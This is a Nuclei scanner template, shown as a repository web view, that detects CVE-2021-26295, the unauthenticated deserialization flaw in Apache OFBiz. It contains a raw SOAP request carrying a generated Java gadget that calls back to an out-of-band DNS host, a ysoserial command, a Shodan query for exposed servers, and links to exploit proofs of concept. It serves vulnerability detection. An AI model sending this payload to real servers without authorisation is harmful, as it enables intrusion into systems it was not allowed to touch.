nuclei-templates/http/cves/2021/CVE-2021-26295.yaml

67 lines
2.2 KiB
YAML
Raw Normal View History

2021-03-23 16:00:15 +00:00
id: CVE-2021-26295
2021-03-23 16:00:15 +00:00
info:
name: Apache OFBiz <17.12.06 - Arbitrary Code Execution
2021-03-23 16:00:15 +00:00
author: madrobot
severity: critical
description: |
Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
reference:
2021-03-25 10:08:15 +00:00
- https://github.com/yumusb/CVE-2021-26295-POC
- https://packetstormsecurity.com/files/162104/Apache-OFBiz-SOAP-Java-Deserialization.html
- https://github.com/zhzyker/exphub/tree/master/ofbiz
- https://lists.apache.org/thread.html/r3c1802eaf34aa78a61b4e8e044c214bc94accbd28a11f3a276586a31%40%3Cuser.ofbiz.apache.org%3E
- https://lists.apache.org/thread.html/r6e4579c4ebf7efeb462962e359501c6ca4045687f12212551df2d607@%3Cnotifications.ofbiz.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2021-26295
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-26295
cwe-id: CWE-502
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
epss-score: 0.97503
2021-09-16 15:54:33 +00:00
metadata:
max-request: 1
shodan-query: OFBiz.Visitor=
2023-06-04 08:13:42 +00:00
verified: true
ysoserial-payload: java -jar ysoserial.jar URLDNS https://oob-url-to-request.tld | hex
tags: packetstorm,cve,cve2021,apache,ofbiz,deserialization,rce
2021-03-24 07:30:26 +00:00
http:
2021-03-23 16:00:15 +00:00
- raw:
- |
POST /webtools/control/SOAPService HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
<ns1:cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</ns1:cus-obj>
</ns1:clearAllEntityCaches>
</soapenv:Body>
2021-03-23 16:00:15 +00:00
</soapenv:Envelope>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
2021-03-23 16:00:15 +00:00
words:
- "dns"
2021-03-23 16:00:15 +00:00
- type: word
part: body
2021-03-23 16:00:15 +00:00
words:
- "errorMessage"
condition: and
- type: word
part: header
words:
- "OFBiz.Visitor="
# Enhanced by mp on 2022/05/17